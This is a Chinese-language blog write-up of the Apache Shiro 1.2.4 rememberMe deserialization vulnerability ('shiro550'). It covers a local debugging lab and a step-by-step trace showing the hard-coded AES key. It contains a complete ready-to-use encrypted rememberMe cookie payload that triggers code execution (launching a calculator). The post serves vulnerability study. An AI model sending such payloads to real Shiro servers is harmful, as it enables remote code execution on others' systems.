shiro550 反序列化漏洞分析

环境搭建

我的环境
1、Maven 3.5.2
2、jdk 1.6和jdk1.8(默认java环境是1.8,1.6是用于配置下面的toolchains)
3、IDEA

配置shiro

首先下载shiro-1.2.4:shiro-1.2.4下载

文件目录如下,
在这里插入图片描述
进入samples\web目录下。这就算是漏洞复现的web目录了。
在这里插入图片描述

配置Maven

配置一下maven,在maven/conf/toolchains.xml中的toolchains 中添加以下代码。至于为什么要添加,可以看看toolchains的作用

<toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>D:\Program Files\Java\jdk1.6.0_45</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

为什么要添加jdk1.6。其实你可以在shiro-root-1.2.4\samples\web\pom.xml中看到如下代码,表示父pom.xml是上一层目录的pom.xml。
在这里插入图片描述
而且shiro-root-1.2.4\samples\pom.xml他爹是shiro-root-1.2.4\pom.xml
shiro-root-1.2.4\pom.xml可以看到jdk版本是1.6。我也没试过1.6以上的能不能编译。
在这里插入图片描述

如果没有配置Maven的toolschains.xml,在shiro-root-1.2.4\samples\web\pom.xml打包,则会报错,如下图
在这里插入图片描述

踩坑。使用默认的pom.xml,开启tomcat的时候会报错,如下的报错即是jstl包没有被解析,需要在pom.xml加上jstl的包。
在这里插入图片描述

    <dependency>
           <groupId>javax.servlet</groupId>
           <artifactId>jstl</artifactId>
           <version>1.2</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

添加好如下
在这里插入图片描述

添加好之后,用IDEA打开**shiro-root-1.2.4\samples\web**目录项目

打开之后,先打开项目管理,在setting->Project Structure然后新建一个Artifacts。选择Web Application Exploded。

在这里插入图片描述

选中右边的文件夹,拖到左边。拖的时候必须拖到"<output root>"才能拖过来。

在这里插入图片描述
拖好之后如下图所示
在这里插入图片描述
在lib中发现这里是没有jstl库的。我认为是idea没有解析到。如果有的话就不需要添加了,直接启动tomcat即可。

我使用了这篇方法让idea重新加载Maven依赖
https://blog.csdn.net/qq_38316721/article/details/102521729

在idea的右边工具栏,选择maven,点击上面的M。
执行:mvn -U idea:idea。可能有报错,我也不清楚。
在这里插入图片描述
我的报错如下,我配置的是阿里的maven源,应该是找不到eclipse.m2e.lifecycle这个包,不过我们主要是下载jstl包。
在这里插入图片描述

执行好之后再打开刚刚的artifacts。可以看到右边有了jstl-1.2.jar。
在这里插入图片描述
将右边的jstl-1.2.jar文件拖到左边的lib下。如图。顺便把Collection-4也拖进去。
在这里插入图片描述
在这里插入图片描述
shiro是自带了的Common-Collection3.2.1的,后面简称cc。

但是由于shiro重写了的方法,如下图,文章链接在后面的参考里。所以配置cc4,方便利用

在这里插入图片描述

配置tomcat

编辑运行配置,添加tomcat local即可
在这里插入图片描述
这使用默认配置即可。选择deployment。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
添加好之后,直接运行tomcat即可。访问成功。

在这里插入图片描述
如果想要调试shiro-1.2.4。
在这里插入图片描述

在这里插入图片描述
点击这个甲壳虫,就是开启调试
在这里插入图片描述
成功命中断点。一切都配置好,就可以慢慢调试反序列化原理了。
在这里插入图片描述
成功访问
在这里插入图片描述

每个人踩过的坑不一样,这里记录我踩的坑。

漏洞分析

来到正文了。

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

先开启调试模式,。

然后我们在org.apache.shiro.web.mgt.CookieRememberMeManager中的getRememberedSerializedIdentity方法下断点。
在这里插入图片描述

在cookie处设置payload,然后发送,这个payload是弹出计算器的。用的上的请拿走。

rememberMe=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

在这里插入图片描述
成功命中断点
在这里插入图片描述
然后单步执行。

在86行获取cookie中rememberme的值。可以在下图中看到,值就是我们发送的payload。

在这里插入图片描述

继续单步执行,在95行对remember的值先进行了base64解码,执行到100行,返回解码后的值。

在这里插入图片描述

单步执行,跳转到了org.apache.shiro.core.mgt.AbstractRememberMeManager中的getRememberedPrincipals方法。可以看到122行就是我们刚刚分析的方法。说明Bytes数组就是rememberme Base64解码后的值。

在这里插入图片描述
单步步入第124行。进入convertBytesToPrincipals函数。
在这里插入图片描述
可以看到这个函数比较简单,慢慢来分析

在这里插入图片描述
这个getCipherService函数返回this.cipherService
在这里插入图片描述
this.cipherService被初始化为一个cipherService对象。肯定会进入IF判断。
在这里插入图片描述
单步步入到decrypt方法中
在这里插入图片描述

第167行代码如下
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());

可以看到调用了 this.getDecryptionCipherKey()
在这里插入图片描述
而在构造方法中,调用setCipherKey来设置encryptionCipherKeydecryptionCipherKey。而设置的值就是DEFAULT_CIPHER_KEY_BYTES

在这里插入图片描述
在这里插入图片描述
DEFAULT_CIPHER_KEY_BYTES已经硬编码在程序中了。此时我们已经拿到了密钥Key。
在这里插入图片描述

再回到之前的地方,单步步入cipherService.decrypt
在这里插入图片描述
在这里我们发现iv是我们可控的。
在这里插入图片描述

继续单步执行。单步步入this.decryot方法。
在这里插入图片描述
从箭头的函数继续单步步入。
在这里插入图片描述
然后继续步入initNewCipher

在这里插入图片描述
继续步入newCipherInstance。
在这里插入图片描述
transformationString这里可以看到填充模式为CBC。有兴趣的可以跟进一下。
在这里插入图片描述

此时我们知道填充模式为CBC。密钥是DEFAULT_CIPHER_KEY_BYTES,初始化向量IV也是可控的。那么我们可以随意构造rememberme了。

再回到之前的那个地方。单步步入deserialize方法
在这里插入图片描述我们跟进下图那个函数。
在这里插入图片描述
跟进去之后,可以看到在这里进行了反序列化。
在这里插入图片描述单步执行到第五十行。

在这里插入图片描述
然后单步执行完50行代码后,成功弹出计算器。

在这里插入图片描述

应该还有待续。。。想分析一下上面的payload。

参考

https://blog.csdn.net/three_feng/article/details/52189559
https://www.cnblogs.com/nice0e3/p/14183173.html#autoid-1-4-0

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/114915902